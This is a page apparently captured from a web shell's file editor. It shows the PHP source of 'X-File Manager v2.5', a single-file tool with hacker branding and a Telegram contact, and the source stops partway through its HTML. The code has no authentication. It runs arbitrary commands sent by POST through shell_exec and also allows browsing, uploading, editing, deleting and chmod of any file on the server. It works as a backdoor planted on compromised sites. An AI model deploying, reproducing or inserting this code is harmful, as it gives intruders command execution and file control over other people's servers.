<h3>Düzenle: jp.php</h3>
        <form method='POST'>
        <textarea name='edit' style='width:100%;height:400px;font-family:monospace'>&lt;?php
/**
 * X-File Manager v2.5
 * A modern, single-file PHP file manager with path encryption and terminal.
 */

session_start();

// -------------------------------

// Configuration
define(&#039;X_FILE_MANAGER_VERSION&#039;, &#039;2.5&#039;);
define(&#039;APP_NAME&#039;, &#039;X-File Manager&#039;);
define(&#039;ENCRYPTION_KEY&#039;, &#039;RCnFfsCw3ItXaCn7BWvyyFE1Rxdmz&#039;); // Should be changed for security
define(&#039;MAX_UPLOAD_SIZE&#039;, 100 * 1024 * 1024); // 100MB
define(&#039;SESSION_TIMEOUT&#039;, 1800); // 30 minutes

// Update last activity
if (isset($_SESSION[&#039;last_activity&#039;]) &amp;&amp; (time() - $_SESSION[&#039;last_activity&#039;] &gt; SESSION_TIMEOUT)) {
    session_unset();
    session_destroy();
    session_start();
}
$_SESSION[&#039;last_activity&#039;] = time();

// Helper Functions
function encryptPath($path) {
    $iv = openssl_random_pseudo_bytes(16);
    $encrypted = openssl_encrypt($path, &#039;AES-256-CBC&#039;, ENCRYPTION_KEY, 0, $iv);
    return base64_encode($encrypted . &#039;::&#039; . base64_encode($iv));
}

function decryptPath($encoded) {
    try {
        $decoded = base64_decode($encoded);
        if ($decoded === false) return getcwd();
        
        $parts = explode(&#039;::&#039;, $decoded, 2);
        if (count($parts) !== 2) return getcwd();
        
        $encrypted = $parts[0];
        $iv = base64_decode($parts[1]);
        
        if (strlen($iv) !== 16) return getcwd();
        
        $decrypted = openssl_decrypt($encrypted, &#039;AES-256-CBC&#039;, ENCRYPTION_KEY, 0, $iv);
        return ($decrypted === false) ? getcwd() : $decrypted;
    } catch (Exception $e) {
        return getcwd();
    }
}

function formatSize($bytes) {
    if ($bytes &gt;= 1073741824) return number_format($bytes / 1073741824, 2) . &#039; GB&#039;;
    if ($bytes &gt;= 1048576) return number_format($bytes / 1048576, 2) . &#039; MB&#039;;
    if ($bytes &gt;= 1024) return number_format($bytes / 1024, 2) . &#039; KB&#039;;
    return $bytes . &#039; bytes&#039;;
}

function getPermissions($path) {
    if (!file_exists($path)) return &#039;---------&#039;;
    $perms = fileperms($path);
    if (($perms &amp; 0xC000) == 0xC000) $info = &#039;s&#039;;
    elseif (($perms &amp; 0xA000) == 0xA000) $info = &#039;l&#039;;
    elseif (($perms &amp; 0x8000) == 0x8000) $info = &#039;-&#039;;
    elseif (($perms &amp; 0x6000) == 0x6000) $info = &#039;b&#039;;
    elseif (($perms &amp; 0x4000) == 0x4000) $info = &#039;d&#039;;
    elseif (($perms &amp; 0x2000) == 0x2000) $info = &#039;c&#039;;
    elseif (($perms &amp; 0x1000) == 0x1000) $info = &#039;p&#039;;
    else $info = &#039;u&#039;;

    // Owner
    $info .= (($perms &amp; 0x0100) ? &#039;r&#039; : &#039;-&#039;);
    $info .= (($perms &amp; 0x0080) ? &#039;w&#039; : &#039;-&#039;);
    $info .= (($perms &amp; 0x0100) ? (($perms &amp; 0x0800) ? &#039;s&#039; : &#039;x&#039;) : (($perms &amp; 0x0800) ? &#039;S&#039; : &#039;-&#039;));

    // Group
    $info .= (($perms &amp; 0x0020) ? &#039;r&#039; : &#039;-&#039;);
    $info .= (($perms &amp; 0x0010) ? &#039;w&#039; : &#039;-&#039;);
    $info .= (($perms &amp; 0x0020) ? (($perms &amp; 0x0400) ? &#039;s&#039; : &#039;x&#039;) : (($perms &amp; 0x0400) ? &#039;S&#039; : &#039;-&#039;));

    // World
    $info .= (($perms &amp; 0x0004) ? &#039;r&#039; : &#039;-&#039;);
    $info .= (($perms &amp; 0x0002) ? &#039;w&#039; : &#039;-&#039;);
    $info .= (($perms &amp; 0x0004) ? (($perms &amp; 0x0200) ? &#039;t&#039; : &#039;x&#039;) : (($perms &amp; 0x0200) ? &#039;T&#039; : &#039;-&#039;));

    return $info;
}

function isEditable($filename) {
    $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
    $editable = [&#039;php&#039;, &#039;txt&#039;, &#039;html&#039;, &#039;css&#039;, &#039;js&#039;, &#039;json&#039;, &#039;xml&#039;, &#039;md&#039;, &#039;sql&#039;, &#039;htaccess&#039;, &#039;ini&#039;, &#039;sh&#039;, &#039;py&#039;, &#039;c&#039;, &#039;cpp&#039;];
    return in_array($ext, $editable);
}

// Initial Path Setup
if (!isset($_SESSION[&#039;current_path&#039;]) || !file_exists($_SESSION[&#039;current_path&#039;]) || !is_dir($_SESSION[&#039;current_path&#039;])) {
    $_SESSION[&#039;current_path&#039;] = getcwd();
}

$current_path = $_SESSION[&#039;current_path&#039;];
$message = &#039;&#039;;
$error = &#039;&#039;;

// Handle POST actions
if ($_SERVER[&#039;REQUEST_METHOD&#039;] === &#039;POST&#039;) {
    // Navigation
    if (isset($_POST[&#039;action&#039;]) &amp;&amp; $_POST[&#039;action&#039;] === &#039;navigate&#039; &amp;&amp; isset($_POST[&#039;path&#039;])) {
        $new_path = decryptPath($_POST[&#039;path&#039;]);
        if (file_exists($new_path) &amp;&amp; is_dir($new_path)) {
            $_SESSION[&#039;current_path&#039;] = $new_path;
            $current_path = $new_path;
        } else {
            $error = &quot;Directory does not exist.&quot;;
        }
    }

    // Download
    if (isset($_POST[&#039;action&#039;]) &amp;&amp; $_POST[&#039;action&#039;] === &#039;download&#039; &amp;&amp; isset($_POST[&#039;path&#039;])) {
        $dl_path = decryptPath($_POST[&#039;path&#039;]);
        if (file_exists($dl_path) &amp;&amp; !is_dir($dl_path)) {
            ob_clean();
            header(&#039;Content-Description: File Transfer&#039;);
            header(&#039;Content-Type: application/octet-stream&#039;);
            header(&#039;Content-Disposition: attachment; filename=&quot;&#039; . basename($dl_path) . &#039;&quot;&#039;);
            header(&#039;Content-Transfer-Encoding: binary&#039;);
            header(&#039;Expires: 0&#039;);
            header(&#039;Cache-Control: must-revalidate&#039;);
            header(&#039;Pragma: public&#039;);
            header(&#039;Content-Length: &#039; . filesize($dl_path));
            readfile($dl_path);
            exit;
        }
    }

    // Get Content (AJAX)
    if (isset($_POST[&#039;action&#039;]) &amp;&amp; $_POST[&#039;action&#039;] === &#039;getContent&#039; &amp;&amp; isset($_POST[&#039;path&#039;])) {
        $file_path = decryptPath($_POST[&#039;path&#039;]);
        if (file_exists($file_path) &amp;&amp; !is_dir($file_path)) {
            echo file_get_contents($file_path);
        } else {
            echo &quot;Error: Cannot read file.&quot;;
        }
        exit;
    }

    // Execute Command (AJAX)
    if (isset($_POST[&#039;action&#039;]) &amp;&amp; $_POST[&#039;action&#039;] === &#039;executeCommand&#039; &amp;&amp; isset($_POST[&#039;command&#039;])) {
        $command = $_POST[&#039;command&#039;];
        chdir($current_path); // Execute in current directory
        $output = shell_exec($command . &#039; 2&gt;&amp;1&#039;);
        echo $output ? htmlspecialchars($output) : &quot;Command executed with no output.&quot;;
        exit;
    }

    // Save File
    if (isset($_POST[&#039;saveFile&#039;]) &amp;&amp; isset($_POST[&#039;filePath&#039;]) &amp;&amp; isset($_POST[&#039;fileContent&#039;])) {
        $file_path = decryptPath($_POST[&#039;filePath&#039;]);
        if (file_put_contents($file_path, $_POST[&#039;fileContent&#039;]) !== false) {
            $message = &quot;File saved successfully.&quot;;
        } else {
            $error = &quot;Failed to save file.&quot;;
        }
    }

    // Create File
    if (isset($_POST[&#039;createFile&#039;]) &amp;&amp; isset($_POST[&#039;newFileName&#039;])) {
        $new_file = $current_path . DIRECTORY_SEPARATOR . $_POST[&#039;newFileName&#039;];
        if (!file_exists($new_file)) {
            if (file_put_contents($new_file, &#039;&#039;) !== false) {
                $message = &quot;File created successfully.&quot;;
            } else {
                $error = &quot;Failed to create file.&quot;;
            }
        } else {
            $error = &quot;File already exists.&quot;;
        }
    }

    // Create Folder
    if (isset($_POST[&#039;createFolder&#039;]) &amp;&amp; isset($_POST[&#039;newFolderName&#039;])) {
        $new_folder = $current_path . DIRECTORY_SEPARATOR . $_POST[&#039;newFolderName&#039;];
        if (!file_exists($new_folder)) {
            if (mkdir($new_folder, 0755)) {
                $message = &quot;Folder created successfully.&quot;;
            } else {
                $error = &quot;Failed to create folder.&quot;;
            }
        } else {
            $error = &quot;Folder already exists.&quot;;
        }
    }

    // Rename
    if (isset($_POST[&#039;rename&#039;]) &amp;&amp; isset($_POST[&#039;oldPath&#039;]) &amp;&amp; isset($_POST[&#039;newName&#039;])) {
        $old_path = decryptPath($_POST[&#039;oldPath&#039;]);
        $new_path = dirname($old_path) . DIRECTORY_SEPARATOR . $_POST[&#039;newName&#039;];
        if (rename($old_path, $new_path)) {
            $message = &quot;Renamed successfully.&quot;;
        } else {
            $error = &quot;Failed to rename.&quot;;
        }
    }

    // Delete
    if (isset($_POST[&#039;delete&#039;]) &amp;&amp; isset($_POST[&#039;path&#039;])) {
        $del_path = decryptPath($_POST[&#039;path&#039;]);
        if (is_dir($del_path)) {
            if (rmdir($del_path)) {
                $message = &quot;Directory deleted successfully.&quot;;
            } else {
                $error = &quot;Failed to delete directory. It may not be empty.&quot;;
            }
        } else {
            if (unlink($del_path)) {
                $message = &quot;File deleted successfully.&quot;;
            } else {
                $error = &quot;Failed to delete file.&quot;;
            }
        }
    }

    // Upload
    if (isset($_POST[&#039;upload&#039;]) &amp;&amp; isset($_FILES[&#039;file&#039;])) {
        if ($_FILES[&#039;file&#039;][&#039;error&#039;] === UPLOAD_ERR_OK) {
            $upload_path = $current_path . DIRECTORY_SEPARATOR . basename($_FILES[&#039;file&#039;][&#039;name&#039;]);
            if (move_uploaded_file($_FILES[&#039;file&#039;][&#039;tmp_name&#039;], $upload_path)) {
                $message = &quot;File uploaded successfully.&quot;;
            } else {
                $error = &quot;Failed to upload file.&quot;;
            }
        } else {
            $error = &quot;No file selected or upload error.&quot;;
        }
    }

    // Change Permissions
    if (isset($_POST[&#039;changePermissions&#039;]) &amp;&amp; isset($_POST[&#039;permPath&#039;]) &amp;&amp; isset($_POST[&#039;permissions&#039;])) {
        $perm_path = decryptPath($_POST[&#039;permPath&#039;]);
        $octal = octdec($_POST[&#039;permissions&#039;]);
        if (chmod($perm_path, $octal)) {
            $message = &quot;Permissions changed successfully.&quot;;
        } else {
            $error = &quot;Failed to change permissions.&quot;;
        }
    }
}

// Breadcrumbs
$breadcrumb_items = [];
$path_parts = explode(DIRECTORY_SEPARATOR, trim($current_path, DIRECTORY_SEPARATOR));

// Add root (if on windows, handle drive letter)
if (strpos($current_path, &#039;:&#039;) !== false) {
    $drive = substr($current_path, 0, 3);
    $breadcrumb_items[] = [&#039;name&#039; =&gt; $drive, &#039;path&#039; =&gt; encryptPath($drive)];
    $current_build_path = $drive;
} else {
    $breadcrumb_items[] = [&#039;name&#039; =&gt; &#039;Root&#039;, &#039;path&#039; =&gt; encryptPath(&#039;/&#039;)];
    $current_build_path = DIRECTORY_SEPARATOR;
}

foreach ($path_parts as $part) {
    if (empty($part) || (strpos($part, &#039;:&#039;) !== false)) continue;
    $current_build_path .= $part . DIRECTORY_SEPARATOR;
    $breadcrumb_items[] = [&#039;name&#039; =&gt; $part, &#039;path&#039; =&gt; encryptPath(rtrim($current_build_path, DIRECTORY_SEPARATOR))];
}

// File Listing
$files = [];
if (is_dir($current_path) &amp;&amp; $handle = opendir($current_path)) {
    while (false !== ($entry = readdir($handle))) {
        if ($entry === &#039;.&#039; || $entry === &#039;..&#039;) continue;
        
        $full_path = $current_path . DIRECTORY_SEPARATOR . $entry;
        $is_dir = is_dir($full_path);
        
        $files[] = [
            &#039;name&#039; =&gt; $entry,
            &#039;path&#039; =&gt; encryptPath($full_path),
            &#039;isDirectory&#039; =&gt; $is_dir,
            &#039;size&#039; =&gt; $is_dir ? &#039;-&#039; : formatSize(filesize($full_path)),
            &#039;permissions&#039; =&gt; getPermissions($full_path),
            &#039;lastModified&#039; =&gt; date(&quot;Y-m-d H:i:s&quot;, filemtime($full_path)),
            &#039;isEditable&#039; =&gt; !$is_dir &amp;&amp; isEditable($entry)
        ];
    }
    closedir($handle);
}

// Sort: Folders first, then files
usort($files, function ($a, $b) {
    if ($a[&#039;isDirectory&#039;] &amp;&amp; !$b[&#039;isDirectory&#039;]) return -1;
    if (!$a[&#039;isDirectory&#039;] &amp;&amp; $b[&#039;isDirectory&#039;]) return 1;
    return strcasecmp($a[&#039;name&#039;], $b[&#039;name&#039;]);
});

?&gt;
&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;en&quot;&gt;
&lt;head&gt;
    &lt;meta charset=&quot;UTF-8&quot;&gt;
    &lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&gt;
    &lt;title&gt;&lt;?php echo APP_NAME; ?&gt;&lt;/title&gt;
    &lt;style&gt;
        /* Base styles and reset */
        * { margin: 0; padding: 0; box-sizing: border-box; font-family: &#039;Inter&#039;, &#039;Roboto&#039;, &#039;Helvetica&#039;, sans-serif; }
        body { 
            background-image:url(http://i.imgur.com/9NEcwsL.gif);

        }
        .container { max-width: 1200px; margin: 0 auto; padding: 0 20px; }
        
        /* Navbar */
        .navbar { background-color: #ffffff; box-shadow: 0 2px 8px rgba(0,0,0,0.1); padding: 15px 0; position: sticky; top: 0; z-index: 100; }
        .navbar-content { display: flex; align-items: center; justify-content: space-between; }
        .navbar h1 { color: #333; font-size: 1.5rem; font-weight: 700; }
        .version { font-size: 0.8rem; color: #777; margin-left:10px; }
        .home-btn { 
            background-color: #4a6cf7; color: white; border: none; padding: 8px 15px; border-radius: 6px; 
            cursor: pointer; font-weight: 500; text-decoration: none; display: inline-flex; align-items: center; transition: all 0.2s ease;
        }
        .home-btn:hover { background-color: #3a5ce5; transform: translateY(-2px); box-shadow: 0 4px 8px rgba(0,0,0,0.1); }
        .home-icon { margin-right: 5px; }

        /* Top Banner */
        .top-banner { 
            text-align: center; margin: 20px 0 10px 0; padding: 20px; background: rgba(20, 20, 20, 0.9); 
            border-radius: 12px; font-size: 2.2rem; font-weight: 900; 
            text-transform: uppercase; letter-spacing: 4px; box-shadow: 0 0 25px rgba(255, 0, 0, 0.3);
            border: 2px solid #333; backdrop-filter: blur(5px);
        }
        .text-red { color: #ff0000; text-shadow: 0 0 10px rgba(255,0,0,0.5); }
        .text-white { color: #ffffff; }
        .text-green { color: #00ff00; text-shadow: 0 0 10px rgba(0,255,0,0.5); }
        
        .social-line { text-align: center; margin-bottom: 25px; font-weight: bold; font-size: 1.1rem; }
        .social-link { text-decoration: none; }
        .social-link .label { color: #ffffff; }
        .social-link .id { color: #ff0000; }

        /* Breadcrumb */
        .breadcrumb { display: flex; align-items: center; padding: 10px 0; margin-top: 15px; overflow-x: auto; white-space: nowrap; }
        .breadcrumb-item { display: flex; align-items: center; }
        .breadcrumb-item a { color: #4a6cf7; text-decoration: none; padding: 5px 8px; border-radius: 4px; transition: background-color 0.2s; cursor: pointer; }
        .breadcrumb-item a:hover { background-color: rgba(74, 108, 247, 0.1); }
        .breadcrumb-separator { margin: 0 5px; color: #999; }
        .breadcrumb-current { font-weight: 500; padding: 5px 8px; }

        /* Section */
        .section { background-color: rgba(255, 255, 255, 0.92); border-radius: 10px; padding: 25px; margin-bottom: 25px; box-shadow: 0 4px 15px rgba(0,0,0,0.08); border: 1px solid #eee; }
        .section-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 20px; }
        .section-title { font-size: 1.25rem; color: #222; font-weight: 700; border-left: 4px solid #4a6cf7; padding-left: 12px; }
        
        /* Form */
        .upload-form { display: flex; flex-wrap: wrap; gap: 15px; align-items: center; }
        .upload-form input[type=&quot;file&quot;] { flex: 1; min-width: 250px; padding: 12px; border: 1px solid #ddd; border-radius: 8px; background-color: #fcfcfc; transition: border 0.3s; }
        .upload-form input[type=&quot;file&quot;]:focus { border-color: #4a6cf7; outline: none; }
        .btn { background-color: #4a6cf7; color: white; border: none; padding: 12px 24px; border-radius: 8px; cursor: pointer; font-weight: 600; transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1); }
        .btn:hover { background-color: #3a5ce5; transform: translateY(-3px); box-shadow: 0 6px 15px rgba(74, 108, 247, 0.3); }
        .btn:active { transform: translateY(-1px); }
        .btn-sm { padding: 8px 16px; font-size: 0.95rem; }
        .btn-success { background-color: #2da44e; }
        .btn-success:hover { background-color: #2c974b; box-shadow: 0 6px 15px rgba(45, 164, 78, 0.3); }

        /* Table */
        .file-table-container { overflow-x: auto; border-radius: 8px; border: 1px solid #eee; }
        .file-table { width: 100%; border-collapse: collapse; background: #fff; }
        .file-table th { background-color: #f8f9fa; padding: 15px; text-align: left; font-weight: 600; color: #444; border-bottom: 2px solid #eee; }
        .file-table td { padding: 15px; border-bottom: 1px solid #f1f1f1; color: #555; font-size: 0.95rem; }
        .file-table tr:hover { background-color: #f8faff; }
        .file-name { display: flex; align-items: center; gap: 12px; }
        .folder-icon { font-size: 1.2rem; }
        .file-icon { font-size: 1.2rem; }
        .folder-icon::before { content: &quot;📁&quot;; }
        .file-icon::before { content: &quot;📄&quot;; }

        /* Actions */
        .action-buttons { display: flex; gap: 10px; }
        .action-btn { background: #f4f6f9; border: none; cursor: pointer; font-size: 1.1rem; color: #666; width: 34px; height: 34px; display: flex; align-items: center; justify-content: center; border-radius: 8px; transition: all 0.2s; }
        .action-btn:hover { background-color: #4a6cf7; color: #fff; transform: scale(1.1); }

        /* Terminal Console */
        .terminal-container { 
            background: #0d1117; border-radius: 12px; margin-top: 30px; 
            padding: 20px; box-shadow: 0 10px 30px rgba(0,0,0,0.5); border: 1px solid #30363d;
            position: relative; overflow: hidden;
        }
        .terminal-container::before {
            content: &quot;&quot;; position: absolute; top: 0; left: 0; right: 0; height: 3px;
            background: linear-gradient(90deg, #4a6cf7, #a855f7);
        }
        .terminal-header { color: #8b949e; font-size: 0.95rem; margin-bottom: 15px; display: flex; justify-content: space-between; align-items: center; font-family: &#039;Courier New&#039;, monospace; }
        .terminal-output { 
            background: #010409; color: #3fb950; padding: 15px; height: 250px; overflow-y: auto; 
            font-family: &#039;Consolas&#039;, &#039;Monaco&#039;, &#039;Courier New&#039;, monospace; border-radius: 6px; 
            margin-bottom: 15px; white-space: pre-wrap; border: 1px solid #30363d;
            box-shadow: inset 0 2px 10px rgba(0,0,0,0.5);
        }
        .terminal-input-group { display: flex; gap: 12px; }
        .terminal-input { 
            flex: 1; background: #010409; color: #e6edf3; border: 1px solid #30363d; padding: 12px 16px; 
            border-radius: 8px; font-family: &#039;Consolas&#039;, &#039;Monaco&#039;, &#039;Courier New&#039;, monospace; font-size: 1rem;
            transition: border-color 0.3s, box-shadow 0.3s;
        }
        .terminal-input:focus { border-color: #4a6cf7; outline: none; box-shadow: 0 0 0 3px rgba(74, 108, 247, 0.2); }

        /* Modal */
        .modal { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(0,0,0,0.7); z-index: 1000; justify-content: center; align-items: center; backdrop-filter: blur(4px); }
        .modal-content { background-color: white; padding: 30px; border-radius: 12px; width: 90%; max-width: 550px; box-shadow: 0 20px 50px rgba(0,0,0,0.3); animation: modalFadeIn 0.3s ease-out; }
        @keyframes modalFadeIn { from { opacity: 0; transform: translateY(-20px); } to { opacity: 1; transform: translateY(0); } }
        .modal-content.modal-lg { max-width: 900px; height: 85%; display: flex; flex-direction: column; }
        .modal-title { font-size: 1.5rem; margin-bottom: 20px; font-weight: 700; color: #333; }
        .modal-form { display: flex; flex-direction: column; gap: 20px; }
        .editor-form { display: flex; flex-direction: column; gap: 20px; flex-grow: 1; }
        .form-group { display: flex; flex-direction: column; gap: 8px; }
        .form-group label { font-weight: 600; color: #444; }
        .form-group input, .form-group textarea { padding: 12px; border: 1px solid #ddd; border-radius: 8px; font-size: 1rem; transition: border-color 0.3s; }
        .form-group input:focus, .form-group textarea:focus { border-color: #4a6cf7; outline: none; }
        .form-group textarea { flex-grow: 1; font-family: &#039;Consolas&#039;, &#039;Courier New&#039;, monospace; font-size: 14px; resize: none; line-height: 1.5; }
        .modal-actions { display: flex; justify-content: flex-end; gap: 12px; margin-top: 25px; }
        .btn-cancel { background-color: #f1f3f5; color: #495057; }
        .btn-cancel:hover { background-color: #e9ecef; box-shadow: none; transform: none; }

        /* Alerts */
        .alert { padding: 15px 20px; margin-bottom: 20px; border-radius: 10px; font-weight: 600; animation: slideDown 0.4s cubic-bezier(0.18, 0.89, 0.32, 1.28); }
        @keyframes slideDown { from { transform: translateY(-20px); opacity: 0; } to { transform: translateY(0); opacity: 1; } }
        .alert-success { background-color: #ecfdf5; color: #065f46; border: 1px solid #a7f3d0; }
        .alert-error { background-color: #fef2f2; color: #991b1b; border: 1px solid #fecaca; }
        .alert-warning { background-color: #fffbeb; color: #92400e; border: 1px solid #fde68a; }

        /* Spinner */
        .loading-overlay { display: none; position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: rgba(255,255,255,0.7); z-index: 2000; justify-content: center; align-items: center; }
        .spinner { width: 60px; height: 60px; border: 6px solid #f3f3f3; border-top: 6px solid #4a6cf7; border-radius: 50%; animation: spin 0.8s linear infinite; }
        @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } }

        @media (max-width: 768px) {
            .upload-form { flex-direction: column; align-items: stretch; }
            .section-header { flex-direction: column; align-items: flex-start; gap: 15px; }
            .btn { width: 100%; }
            .top-banner { font-size: 1.4rem; letter-spacing: 2px; }
        }
    &lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;
    &lt;div id=&quot;loadingOverlay&quot; class=&quot;loading-overlay&quot;&gt;&lt;div class=&quot;spinner&quot;&gt;&lt;/div&gt;&lt;/div&gt;

    &lt;nav class=&quot;navbar&quot;&gt;
        &lt;div class=&quot;container navbar-content&quot;&gt;
            &lt;h1&gt;&lt;?php echo APP_NAME; ?&gt; &lt;span class=&quot;version&quot;&gt;v&lt;?php echo X_FILE_MANAGER_VERSION; ?&gt;&lt;/span&gt;&lt;/h1&gt;
            &lt;div class=&quot;navbar-actions&quot;&gt;
                &lt;button onclick=&quot;navigateTo(&#039;&lt;?php echo encryptPath(getcwd()); ?&gt;&#039;)&quot; class=&quot;home-btn&quot;&gt;
                    &lt;span class=&quot;home-icon&quot;&gt;🏠&lt;/span&gt; Home
                &lt;/button&gt;
            &lt;/div&gt;
        &lt;/div&gt;
    &lt;/nav&gt;

    &lt;div class=&quot;container&quot;&gt;
        &lt;!-- Top Banner --&gt;
        &lt;div class=&quot;top-banner&quot;&gt;
            &lt;span class=&quot;text-red&quot;&gt;X&lt;/span&gt;&lt;span class=&quot;text-white&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;text-green&quot;&gt;FILE MANAGER V&lt;?php echo X_FILE_MANAGER_VERSION; ?&gt;&lt;/span&gt;
        &lt;/div&gt;
        
        &lt;!-- Social Line --&gt;
        &lt;div class=&quot;social-line&quot;&gt;
            &lt;a href=&quot;https://t.me/jackleet&quot; target=&quot;_blank&quot; class=&quot;social-link&quot;&gt;
                &lt;span class=&quot;label&quot;&gt;telegram:&lt;/span&gt; &lt;span class=&quot;id&quot;&gt;@jackleet&lt;/span&gt;
            &lt;/a&gt;
        &lt;/div&gt;

        &lt;!-- Breadcrumbs --&gt;
        &lt;div class=&quot;breadcrumb&quot;&gt;
            &lt;?php foreach ($breadcrumb_items as $index =&gt; $item): ?&gt;
                &lt;div class=&quot;breadcrumb-item&quot;&gt;
                    &lt;?php if ($index === count($breadcrumb_items) - 1): ?&gt;
                        &lt;span class=&quot;breadcrumb-current&quot;&gt;&lt;?php echo htmlspecialchars($item[&#039;name&#039;]); ?&gt;&lt;/span&gt;
                    &lt;?php else: ?&gt;
                        &lt;a onclick=&quot;navigateTo(&#039;&lt;?php echo $item[&#039;path&#039;]; ?&gt;&#039;)&quot;&gt;&lt;?php echo htmlspecialchars($item[&#039;name&#039;]); ?&gt;&lt;/a&gt;
                        &lt;span class=&quot;breadcrumb-separator&quot;&gt;›&lt;/span&gt;
                    &lt;?php endif; ?&gt;
                &lt;/div&gt;
            &lt;?php endforeach; ?&gt;
        &lt;/div&gt;

        &lt;!-- Alerts --&gt;
        &lt;?php if ($message): ?&gt;&lt;div class=&quot;alert alert-success&quot;&gt;&lt;?php echo $message; ?&gt;&lt;/div&gt;&lt;?php endif; ?&gt;
        &lt;?php if ($error): ?&gt;&lt;div class=&quot;alert alert-error&quot;&gt;&lt;?php echo $error; ?&gt;&lt;/div&gt;&lt;?php endif; ?&gt;

        &lt;!-- Upload Section --&gt;
        &lt;section class=&quot;section&quot;&gt;
            &lt;h2 class=&quot;section-title&quot;&gt;Upload Core Files&lt;/h2&gt;
            &lt;form class=&quot;upload-form&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&gt;
                &lt;input type=&quot;file&quot; name=&quot;file&quot; required&gt;
                &lt;button type=&quot;submit&quot; name=&quot;upload&quot; class=&quot;btn&quot;&gt;Upload to Server&lt;/button&gt;
            &lt;/form&gt;
        &lt;/section&gt;

        &lt;!-- Files List Section --&gt;
        &lt;section class=&quot;section&quot;&gt;
            &lt;div class=&quot;section-header&quot;&gt;
                &lt;h2 class=&quot;section-title&quot;&gt;File Explorer&lt;/h2&gt;
                &lt;div class=&quot;section-actions&quot;&gt;
                    &lt;button class=&quot;btn btn-sm btn-success&quot; onclick=&quot;showCreateFileModal()&quot;&gt;+ New File&lt;/button&gt;
                    &lt;button class=&quot;btn btn-sm&quot; onclick=&quot;showCreateFolderModal()&quot;&gt;+ New Folder&lt;/button&gt;
                &lt;/div&gt;
            &lt;/div&gt;
            &lt;div class=&quot;file-table-container&quot;&gt;
                &lt;table class=&quot;file-table&quot;&gt;
                    &lt;thead&gt;
                        &lt;tr&gt;
                            &lt;th&gt;Filename&lt;/th&gt;
                            &lt;th&gt;Size&lt;/th&gt;
                            &lt;th&gt;Permissions&lt;/th&gt;
                            &lt;th&gt;Modified&lt;/th&gt;
                            &lt;th&gt;Actions&lt;/th&gt;
                        &lt;/tr&gt;
                    &lt;/thead&gt;
                    &lt;tbody&gt;
                        &lt;?php if ($current_path !== DIRECTORY_SEPARATOR &amp;&amp; $current_path !== substr(getcwd(), 0, 3)): ?&gt;
                        &lt;tr&gt;
                            &lt;td&gt;&lt;div class=&quot;file-name&quot;&gt;&lt;span class=&quot;folder-icon&quot;&gt;&lt;/span&gt;&lt;a onclick=&quot;navigateTo(&#039;&lt;?php echo encryptPath(dirname($current_path)); ?&gt;&#039;)&quot;&gt;.. (Parent Directory)&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;
                            &lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;&lt;td&gt;-&lt;/td&gt;
                        &lt;/tr&gt;
                        &lt;?php endif; ?&gt;
                        &lt;?php foreach ($files as $file): ?&gt;
                        &lt;tr&gt;
                            &lt;td&gt;
                                &lt;div class=&quot;file-name&quot;&gt;
                                    &lt;span class=&quot;&lt;?php echo $file[&#039;isDirectory&#039;] ? &#039;folder-icon&#039; : &#039;file-icon&#039;; ?&gt;&quot;&gt;&lt;/span&gt;
                                    &lt;?php if ($file[&#039;isDirectory&#039;]): ?&gt;
                                        &lt;a onclick=&quot;navigateTo(&#039;&lt;?php echo $file[&#039;path&#039;]; ?&gt;&#039;)&quot;&gt;&lt;?php echo htmlspecialchars($file[&#039;name&#039;]); ?&gt;&lt;/a&gt;
                                    &lt;?php else: ?&gt;
                                        &lt;span&gt;&lt;?php echo htmlspecialchars($file[&#039;name&#039;]); ?&gt;&lt;/span&gt;
                                    &lt;?php endif; ?&gt;
                                &lt;/div&gt;
                            &lt;/td&gt;
                            &lt;td&gt;&lt;?php echo $file[&#039;size&#039;]; ?&gt;&lt;/td&gt;
                            &lt;td&gt;&lt;?php echo $file[&#039;permissions&#039;]; ?&gt;&lt;/td&gt;
                            &lt;td&gt;&lt;?php echo $file[&#039;lastModified&#039;]; ?&gt;&lt;/td&gt;
                            &lt;td&gt;
                                &lt;div class=&quot;action-buttons&quot;&gt;
                                    &lt;?php if (!$file[&#039;isDirectory&#039;]): ?&gt;
                                        &lt;button class=&quot;action-btn&quot; title=&quot;Download&quot; onclick=&quot;downloadFile(&#039;&lt;?php echo $file[&#039;path&#039;]; ?&gt;&#039;)&quot;&gt;📥&lt;/button&gt;
                                        &lt;?php if ($file[&#039;isEditable&#039;]): ?&gt;
                                            &lt;button class=&quot;action-btn&quot; title=&quot;Edit&quot; onclick=&quot;showEditFileModal(&#039;&lt;?php echo $file[&#039;path&#039;]; ?&gt;&#039;, &#039;&lt;?php echo addslashes($file[&#039;name&#039;]); ?&gt;&#039;)&quot;&gt;📝&lt;/button&gt;
                                        &lt;?php endif; ?&gt;
                                    &lt;?php endif; ?&gt;
                                    &lt;button class=&quot;action-btn&quot; title=&quot;Rename&quot; onclick=&quot;showRenameModal(&#039;&lt;?php echo $file[&#039;path&#039;]; ?&gt;&#039;, &#039;&lt;?php echo addslashes($file[&#039;name&#039;]); ?&gt;&#039;)&quot;&gt;✏️&lt;/button&gt;
                                    &lt;button class=&quot;action-btn&quot; title=&quot;Permissions&quot; onclick=&quot;showPermissionsModal(&#039;&lt;?php echo $file[&#039;path&#039;]; ?&gt;&#039;, &#039;&lt;?php echo addslashes($file[&#039;name&#039;]); ?&gt;&#039;)&quot;&gt;🔐&lt;/button&gt;
                                    &lt;form method=&quot;post&quot; style=&quot;display:inline;&quot; onsubmit=&quot;return confirm(&#039;Permanently delete this &lt;?php echo $file[&#039;isDirectory&#039;] ? &#039;folder&#039; : &#039;file&#039;; ?&gt;?&#039;);&quot;&gt;
                                        &lt;input type=&quot;hidden&quot; name=&quot;path&quot; value=&quot;&lt;?php echo $file[&#039;path&#039;]; ?&gt;&quot;&gt;
